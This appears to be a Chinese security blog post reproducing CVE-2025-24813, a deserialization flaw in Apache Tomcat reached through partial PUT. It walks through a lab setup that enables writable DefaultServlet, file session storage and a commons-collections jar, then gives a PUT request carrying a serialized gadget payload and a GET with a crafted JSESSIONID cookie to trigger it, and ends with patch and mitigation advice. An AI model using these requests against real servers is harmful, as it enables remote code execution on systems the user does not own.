【漏洞复现】Apache Tomcat partial PUT文件上传反序列化漏洞复现(CVE-2025-24813)

❤️博客主页iknow181
🔥系列专栏网络安全PythonJavaSEJavaWebCCNP
🎉欢迎大家点赞👍收藏⭐评论✍


0x00 免责声明

本文所述漏洞复现方法仅供安全研究及授权测试使用;任何个人/组织须在合法合规前提下实施,严禁用于非法目的。作者不对任何滥用行为及后果负责,如发现新漏洞请及时联系厂商并遵循漏洞披露规则。

0x01 漏洞描述

Apache Tomcat是由Apache软件基金会下属的Jakarta项目开发的Servlet容器。2025年3月,官方披露 CVE-2025-24813 Apache Tomcat partial PUT文件上传反序列化漏洞。

在 CVE-2025-24813 中在开启了PUT(默认关闭)的前提下,若同时开启了tomcat 持久化Session配置,攻击者可利用PUT上传文件,并构造恶意请求触发session文件反序列化,若同时有可利用gadget的情况下可能造成代码执行。

漏洞前置依赖条件较多,实际场景较为有限,需同时满足以下五个条件:

  1. 应用程序启用了DefaultServlet写入功能(默认情况下禁用)
  2. 服务器启用了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中(默认启用)
  3. 该敏感文件存放在允许上传的目录的子路径(攻击者需要能够在该敏感文件目录上级路径使用 partial PUT 上传文件),需要额外配置
  4. 攻击者已知目标敏感文件的路径以及文件名
  5. 应用中包含一个存在反序列化漏洞的库,比如存在于类路径下的 commons-collections,此条件取决于业务实现是否依赖存在反序列化利用链的库

0x02 漏洞影响范围

  • 9.0.0.M1 <= tomcat <= 9.0.98
  • 10.1.0-M1 <= tomcat <= 10.1.34
  • 11.0.0-M1 <= tomcat <= 11.0.2

0x03 原理分析

Content-Range 在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。在 Tomcat 的HTTP PUT请求中主要用于实现大文件的分块传输。当文件上传未完成时,上传的内容会暂时存储在Tomcat的工作目录:$CATALINA_BASE/work/Catalina/localhost/ROOT。该漏洞的关键在于处理不完整PUT请求时对文件名的处理机制:文件路径中的分隔符/会被替换为.。例如,访问路径/iknow/session会被解析为.iknow.session

漏洞的利用过程如下:

  1. Tomcat的File会话存储默认路径也位于:$CATALINA_BASE/work/Catalina/localhost/ROOT

  2. 当存在反序列化利用链时,攻击者可以上传包含恶意序列化数据的文件。

  3. 通过设置JSESSIONID=.xxxxx来触发漏洞。

0x04 环境准备

下列地址均以本机apache-tomcat-9.0.97路径做示例

tomcat 下载地址:Index of /dist/tomcat/tomcat-9/v9.0.97/bin

1. 修改资源写入:

访问web.xml进行数据编辑

apache-tomcat-9.0.97\conf\web.xml

找到DefaultServlet 在下面增加一个redonly 设为false

复制代码
<init-param>
  <param-name>readonly</param-name>
  <param-value>false</param-value>
</init-param>

2. 开启会话存储:

访问context.xml增加文件会话存储

apache-tomcat-9.0.97\conf\context.xml

添加下列配置开启文件会话存储

复制代码
<Manager className="org.apache.catalina.session.PersistentManager">  
  <Store className="org.apache.catalina.session.FileStore" />  
</Manager>

3. 添加反序列化文件Commons Collections 3.2.1.jar

Commons Collections 3.2.1.jar 是一个 Java 类库文件,它属于 Apache Commons Collections 项目,因此需要新建个lib目录。进入下列路径

apache-tomcat-9.0.97\webapps\ROOT\WEB-INF\

新增lib文件夹并放入调用链jar包

调用链地址:

http://gitlab.53site.com/shuzhan/oss/-/raw/master/lib/commons-collections-3.2.1.jar?ref_type=heads

4. 完成后重启tomcat使配置生效

0x05 漏洞复现

1.调用链构建

调用K1链生成发序列化数据

2.构建写入数据包

直接把生成的代码整个复制过去,因为生成的代码是经过base64编码的,所以发送的时候需要解码

成功状态码是409

复制代码
PUT /ikonw/session HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200

 {{base64dec(payload)}}

执行后会在下列路径中生成对应的文件

3.触发文件

注意这里JSESSIONID保持与写入值一致

复制代码
GET / HTTP/1.1
Host: 127.0.0.1:8080
Cookie: JSESSIONID=.iknow

此处需要注意,如果访问get请求返回码是200,说明失败了,请重新进行put请求

0x06 修复建议

  1. 临时防护措施
  • 在不影响业务的前提下,用户可将conf/web.xml文件中的串口参数设置为true或进行注释

  • 取消PUT方法并重新启动Tomcat服务使配置生效

  • 将org.apache.catalina.session.PersistentManager设置为false

  1. 补丁修复

Apache基金会官方已发布漏洞公告,可下载补丁更新

https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq

相关推荐
DevSecOps选型指南6 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化6 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥6 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU7 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
网安INF9 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_9 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学
moongoblin10 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA10 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花11 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
上海云盾第一敬业销售14 小时前
高防IP可以防护什么攻击类型?企业网络安全的第一道防线
网络·tcp/ip·web安全